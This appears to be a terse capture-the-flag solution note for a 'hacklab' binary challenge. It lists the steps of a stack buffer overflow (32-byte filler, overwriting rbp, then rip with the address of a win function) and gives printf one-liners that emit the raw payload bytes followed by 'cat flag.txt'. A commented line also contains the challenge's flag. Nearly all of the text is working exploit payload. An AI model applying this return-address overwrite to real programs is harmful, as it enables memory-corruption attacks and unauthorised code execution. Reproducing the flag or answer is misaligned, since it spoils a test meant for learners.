last key
32 byte filler
overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region)
overwrite rip with address of win

#printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x56\x13\x40\00\00\00\00\00\ncat flag.txt\n'